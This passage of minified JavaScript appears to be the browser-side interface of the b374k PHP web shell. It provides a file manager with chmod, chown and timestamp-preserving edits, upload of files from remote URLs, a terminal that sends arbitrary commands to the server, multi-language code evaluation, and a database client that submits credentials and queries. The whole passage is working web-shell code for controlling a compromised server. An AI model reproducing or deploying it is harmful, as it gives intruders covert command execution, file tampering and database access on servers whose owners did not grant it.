value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfile_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfile_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$(\'.newFile\').val();send_post({newFile:newFile},function(res){if(res!=\'error\'){view(newFile,\'edit\');$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function viewfileorfolder(){title="View File / Folder";content="<table class=\'boxtbl\'><tr><td><input type=\'text\' class=\'viewFileorFolder\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'viewfileorfolder_go\');\\"></td></tr><tr><td><span class=\'button\' onclick=\'viewfileorfolder_go();\'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$(\'.viewFileorFolder\').val();send_post({viewFileorFolder:entry},function(res){if(res!=\'error\'){if(res==\'file\'){view(entry,\'auto\');show_tab(\'explorer\')}else if(res==\'folder\'){navigate(entry);show_tab(\'explorer\')}}})}function del(path){title="Delete";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Delete</td><td><input type=\'text\' class=\'delete\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'delete_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'delete_go();\'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$(\'.delete\').val();send_post({delete:path},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function find(path){findfile="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find File</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findfilePath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Filename contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileFilename\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileFilenameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileFilenameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td style=\'border-bottom:none;\'>File contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileContains\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileContainsRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileContainsInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findfileReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findfileWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findfileExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_file();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findfileResult\'></td></tr></tfoot></table>";findfolder="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find Folder</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findFolderPath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Foldername contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findFoldername\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td></td><td><span class=\'cBox findFoldernameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;&nbsp;<span class=\'cBox findFoldernameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_folder();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findResult\'></td></tr></tfoot></table>";$(\'#explorer\').html("<div id=\'xplUpload\'>"+findfile+\'<br>\'+findfolder+\'</div>\');cbox_bind(\'xplUpload\')}function find_go_file(){find_go(\'file\')}function find_go_folder(){find_go(\'folder\')}function find_go(findType){findPath=(findType==\'file\')?$(\'.findfilePath\').val():$(\'.findFolderPath\').val();findResult=(findType==\'file\')?$(\'.findfileResult\'):$(\'.findResult\');findName=(findType==\'file\')?$(\'.findfileFilename\').val():$(\'.findFoldername\').val();findNameRegex=(findType==\'file\')?$(\'.findfileFilenameRegex\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameRegex\').hasClass(\'cBoxSelected\').toString();findNameInsensitive=(findType==\'file\')?$(\'.findfileFilenameInsensitive\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameInsensitive\').hasClass(\'cBoxSelected\').toString();findContent=(findType==\'file\')?$(\'.findfileContains\').val():"";findContentRegex=(findType==\'file\')?$(\'.findfileContainsRegex\').hasClass(\'cBoxSelected\').toString():"";findContentInsensitive=(findType==\'file\')?$(\'.findfileContainsInsensitive\').hasClass(\'cBoxSelected\').toString():"";findReadable=(findType==\'file\')?$(\'.findfileReadable\').hasClass(\'cBoxSelected\').toString():$(\'.findWritable\').hasClass(\'cBoxSelected\').toString();findWritable=(findType==\'file\')?$(\'.findfileWritable\').hasClass(\'cBoxSelected\').toString():$(\'.findReadable\').hasClass(\'cBoxSelected\').toString();findExecutable=(findType==\'file\')?$(\'.findfileExecutable\').hasClass(\'cBoxSelected\').toString():$(\'.findExecutable\').hasClass(\'cBoxSelected\').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!=\'error\'){findResult.html(res)}})}function ul_go_comp(){ul_go(\'comp\')}function ul_go_url(){ul_go(\'url\')}function ul(path){ulcomputer="<table class=\'boxtbl ulcomp\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Computer <a onclick=\'ul_add_comp();\'>(+)</a></p></th></tr></thead><tbody class=\'ulcompadd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_comp();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulCompResult\'></td></tr><tr><td colspan=\'2\'><div id=\'ulDragNDrop\'>Or Drag and Drop files here</div></td></tr><tr><td colspan=\'2\' class=\'ulDragNDropResult\'></td></tr></tfoot></table>";ulurl="<table class=\'boxtbl ulurl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Url <a onclick=\'ul_add_url();\'>(+)</a></p></th></tr></thead><tbody class=\'ulurladd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_url();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulUrlResult\'></td></tr></tfoot></table>";content=ulcomputer+\'<br>\'+ulurl+"<input type=\'hidden\' class=\'ul_path\' value=\'"+path+"\'>";$(\'#explorer\').html(content);ul_add_comp();ul_add_url();$(\'#ulDragNDrop\').on(\'dragenter\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'dragover\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'drop\',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$(\'.ulDragNDropResult\');ulResult.html(\'\');$.each(files,function(i){if(this){ulType=\'DragNDrop\';filename=this.name;var formData=new FormData();formData.append(\'ulFile\',this);formData.append(\'ulSaveTo\',get_cwd());formData.append(\'ulFilename\',filename);formData.append(\'ulType\',\'comp\');entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);if(this.size<=0){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($(\'.ul_path\').val());$(\'.ulcompadd\').append("<tr><td style=\'width:144px\'>File</td><td><input type=\'file\' class=\'ulFileComp\'></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToComp\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameComp\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr>")}function ul_add_url(path){path=html_safe($(\'.ul_path\').val());$(\'.ulurladd\').append("<tr><td style=\'width:144px\'>File URL</td><td><input type=\'text\' class=\'ulFileUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToUrl\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:\'POST\',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener(\'progress\',function(e){percent=Math.floor(e.loaded/e.total*100);$(\'.ulProgress\'+ulType+i).html(\'( \'+percent+\'% )\')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res=\'error\'}if(res==\'error\'){$(\'.ulProgress\'+ulType+i).html(\'( failed )\')}else{$(\'.ulRes\'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType==\'comp\')?$(\'.ulFileComp\'):$(\'.ulFileUrl\');ulResult=(ulType==\'comp\')?$(\'.ulCompResult\'):$(\'.ulUrlResult\');ulResult.html(\'\');ulFile.each(function(i){if(((ulType==\'comp\')&&this.files[0])||((ulType==\'url\')&&(this.value!=\'\'))){file=(ulType==\'comp\')?this.files[0]:this.value;filename=(ulType==\'comp\')?file.name:file.substring(file.lastIndexOf(\'/\')+1);ulSaveTo=(ulType==\'comp\')?$(\'.ulSaveToComp\')[i].value:$(\'.ulSaveToUrl\')[i].value;ulFilename=(ulType==\'comp\')?$(\'.ulFilenameComp\')[i].value:$(\'.ulFilenameUrl\')[i].value;var formData=new FormData();formData.append(\'ulFile\',file);formData.append(\'ulSaveTo\',ulSaveTo);formData.append(\'ulFilename\',ulFilename);formData.append(\'ulType\',ulType);entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);check=true;if(ulType==\'comp\'){check=(file.size<=0)}else check=(file=="");if(check){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save(\'edit\')}function edit_save_hex(){edit_save(\'hex\')}function edit_save(editType){editFilename=$(\'#editFilename\').val();editInput=$(\'#editInput\').val();editSuccess=false;preserveTimestamp=\'false\';if($(\'.cBox\').hasClass(\'cBoxSelected\'))preserveTimestamp=\'true\';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){editSuccess=\'success\';view(editFilename,editType,preserveTimestamp)}else editSuccess=\'error\'})}function mass_act(type){buffer=get_all_cbox_selected(\'xplTable\',\'xpl_href\');if((type==\'cut\')||(type==\'copy\')){localStorage.setItem(\'bufferLength\',buffer.length);localStorage.setItem(\'bufferAction\',type);$.each(buffer,function(i,v){localStorage.setItem(\'buffer_\'+i,v)})}else if(type==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'cut\')title=\'move\';else if(bufferAction==\'copy\')title=\'copy\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>"+title+" here</td><td><input type=\'text\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_paste\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'paste\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'extract (tar)\')||(type==\'extract (tar.gz)\')||(type==\'extract (zip)\')){if(type==\'extract (tar)\')arcType=\'untar\';else if(type==\'extract (tar.gz)\')arcType=\'untargz\';else if(type==\'extract (zip)\')arcType=\'unzip\';if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Extract to</td><td><input class=\'massValue\' type=\'text\' value=\'"+html_safe(get_cwd())+"\'onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'compress (tar)\')||(type==\'compress (tar.gz)\')||(type==\'compress (zip)\')){date=new Date();rand=date.getTime();if(type==\'compress (tar)\'){arcType=\'tar\';arcFilename=rand+\'.tar\'}else if(type==\'compress (tar.gz)\'){arcType=\'targz\';arcFilename=rand+\'.tar.gz\'}else if(type==\'compress (zip)\'){arcType=\'zip\';arcFilename=rand+\'.zip\'}if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Archive</td><td><input class=\'massValue\' type=\'text\' value=\'"+arcFilename+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=\'\'){if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;line=\'\';if(type==\'chmod\')line="<tr><td class=\'colFit\'>chmod</td><td><input class=\'massValue\' type=\'text\' value=\'0777\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'chown\')line="<tr><td class=\'colFit\'>chown</td><td><input class=\'massValue\' type=\'text\' value=\'root\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'touch\'){var now=new Date();line="<tr><td class=\'colFit\'>touch</td><td><input class=\'massValue\' type=\'text\' value=\'"+now.toGMTString()+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>"}content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+type+"\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$(\'.cBoxSelected\').removeClass(\'cBoxSelected\');xpl_update_status()}function mass_act_go_tar(){mass_act_go(\'tar\')}function mass_act_go_targz(){mass_act_go(\'targz\')}function mass_act_go_zip(){mass_act_go(\'zip\')}function mass_act_go_untar(){mass_act_go(\'untar\')}function mass_act_go_untargz(){mass_act_go(\'untargz\')}function mass_act_go_unzip(){mass_act_go(\'unzip\')}function mass_act_go_paste(){mass_act_go(\'paste\')}function mass_act_go_chmod(){mass_act_go(\'chmod\')}function mass_act_go_chown(){mass_act_go(\'chown\')}function mass_act_go_touch(){mass_act_go(\'touch\')}function mass_act_go(massType){massBuffer=$.trim($(\'.massBuffer\').val());massPath=get_cwd();massValue=\'\';if(massType==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'copy\')massType=\'copy\';else if(bufferAction==\'cut\')massType=\'cut\'}}else if((massType==\'chmod\')||(massType==\'chown\')||(massType==\'touch\')){massValue=$(\'.massValue\').val()}else if((massType==\'tar\')||(massType==\'targz\')||(massType==\'zip\')){massValue=$(\'.massValue\').val()}else if((massType==\'untar\')||(massType==\'untargz\')||(massType==\'unzip\')){massValue=$(\'.massValue\').val()}if(massBuffer!=\'\'){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$(\'#xplTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.xplSelected\').html(\'\');else $(\'.xplSelected\').html(\', \'+totalSelected+\' item(s) selected\')}function xpl_bind(){$(\'.navigate\').off(\'click\');$(\'.navigate\').on(\'click\',function(e){path=xpl_href($(this));navigate(path);hide_box()});$(\'.navbar\').off(\'click\');$(\'.navbar\').on(\'click\',function(e){path=$(this).attr(\'data-path\');navigate(path);hide_box()});$(\'.newfolder\').off(\'click\');$(\'.newfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$(\'.newfile\').off(\'click\');$(\'.newfile\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$(\'.del\').off(\'click\');$(\'.del\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));del(path)});$(\'.view\').off(\'click\');$(\'.view\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'auto\');hide_box()});$(\'.hex\').off(\'click\');$(\'.hex\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'hex\')});$(\'#viewFullsize\').off(\'click\');$(\'#viewFullsize\').on(\'click\',function(e){src=$(\'#viewImage\').attr(\'src\');window.open(src)});$(\'.edit\').off(\'click\');$(\'.edit\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'edit\');hide_box()});$(\'.ren\').off(\'click\');$(\'.ren\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));ren(path)});$(\'.action\').off(\'click\');$(\'.action\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'file\')});$(\'.actionfolder\').off(\'click\');$(\'.actionfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dir\')});$(\'.actiondot\').off(\'click\');$(\'.actiondot\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dot\')});$(\'.dl\').off(\'click\');$(\'.dl\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));$(\'#form\').append("<input type=\'hidden\' name=\'download\' value=\'"+path+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\');hide_box()});$(\'.ul\').off(\'click\');$(\'.ul\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$(\'.find\').off(\'click\');$(\'.find\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$(\'#massAction\').off(\'click\');$(\'#massAction\').on(\'change\',function(e){type=$(\'#massAction\').val();mass_act(type);$(\'#massAction\').val(\'Action\')});cbox_bind(\'xplTable\',\'xpl_update_status\')}function xpl_href(el){return el.parent().parent().attr(\'data-path\')}function multimedia(path){var a=$(\'video\').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$(\'#terminalInput\').on(\'keydown\',function(e){if(e.keyCode==13){cmd=$(\'#terminalInput\').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd==\'clear\'||cmd==\'cls\'){$(\'#terminalOutput\').html(\'\')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=\'\'){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res=\'<span class=\\\'strong\\\'>\'+cwd+\'&gt;</span>\'+html_safe(cmd)+\'\\n\'+res+\'\\n\';$(\'#terminalOutput\').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$(\'#terminalInput\').val(\'\');setTimeout("$(\'#terminalInput\').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$(\'#evalType\').val();evalInput=$(\'#evalInput\').val();evalOptions=$(\'#evalOptions\').val();evalArguments=$(\'#evalArguments\').val();if(evalOptions==\'Options/Switches\')evalOptions=\'\';if(evalArguments==\'Arguments\')evalArguments=\'\';if($.trim(evalInput)!=\'\'){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$(\'#evalOutput\').html(output)}else{$(\'#evalOutput\').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem(\'evalSupported\'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem(\'evalSupported\',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'#evalType\').append("<option>"+k+"</option>")})}$(\'#evalType\').on(\'change\',function(e){if($(\'#evalType\').val()==\'php\'){$(\'#evalAdditional\').hide()}else{$(\'#evalAdditional\').show()}});$(\'#evalOptions\').on(\'focus\',function(e){options=$(\'#evalOptions\');if(options.val()==\'Options/Switches\')options.val(\'\')});$(\'#evalOptions\').on(\'blur\',function(e){options=$(\'#evalOptions\');if($.trim(options.val())==\'\')options.val(\'Options/Switches\')});$(\'#evalArguments\').on(\'focus\',function(e){args=$(\'#evalArguments\');if(args.val()==\'Arguments\')args.val(\'\')});$(\'#evalArguments\').on(\'blur\',function(e){args=$(\'#evalArguments\');if($.trim(args.val())==\'\')args.val(\'Arguments\')});$(\'#evalInput\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$(\'#decodeStr\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$(\'#decodeStr\').val();send_post({decodeStr:decodeStr},function(res){if(res!=\'error\'){$(\'#decodeResult\').html(\'\');$(\'#decodeResult\').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem(\'db_supported\'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem(\'dbSupported\',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$(\'#dbType\').append("<option>"+k+"</option>")})}function db_bind(){$(\'#dbType\').on(\'change\',function(e){type=$(\'#dbType\').val();if((type==\'odbc\')||(type==\'pdo\')){$(\'.dbHostLbl\').html(\'DSN / Connection String\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').hide()}else if((type==\'sqlite\')||(type==\'sqlite3\')){$(\'.dbHostLbl\').html(\'DB File\');$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide()}else{$(\'.dbHostLbl\').html(\'Host\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show()}});$(\'#dbQuery\').on(\'focus\',function(e){if($(\'#dbQuery\').val()==\'You can also press ctrl+enter to submit\'){$(\'#dbQuery\').val(\'\')}});$(\'#dbQuery\').on(\'blur\',function(e){if($(\'#dbQuery\').val()==\'\'){$(\'#dbQuery\').val(\'You can also press ctrl+enter to submit\')}});$(\'#dbQuery\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$(\'#dbType\').val();$(\'.boxNav\').off(\'click\');$(\'.boxNav\').on(\'click\',function(){$(this).next().toggle()});$(\'.dbTable\').off(\'click\');$(\'.dbTable\').on(\'click\',function(){type=$(\'#dbType\').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!=\'error\'){$(\'#dbNav\').html(res);$(\'.dbHostRow\').hide();$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide();$(\'.dbConnectRow\').hide();$(\'.dbQueryRow\').show();$(\'#dbBottom\').show();db_nav_bind()}else $(\'.dbError\').html(\'Unable to connect\')})}function db_disconnect(){$(\'.dbHostRow\').show();$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show();$(\'.dbConnectRow\').show();$(\'.dbQueryRow\').hide();$(\'#dbNav\').html(\'\');$(\'#dbResult\').html(\'\');$(\'#dbBottom\').hide()}function db_run(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();dbQuery=$(\'#dbQuery\').val();if((dbQuery!=\'\')&&(dbQuery!=\'You can also press ctrl+enter to submit\')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:\'\',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$(\'#dbDB\').val();table=$(\'#dbTable\').val();start=parseInt($(\'#dbStart\').val());limit=parseInt($(\'#dbLimit\').val());dbType=$(\'#dbType\').val();if(type==\'next\'){start=start+limit}else 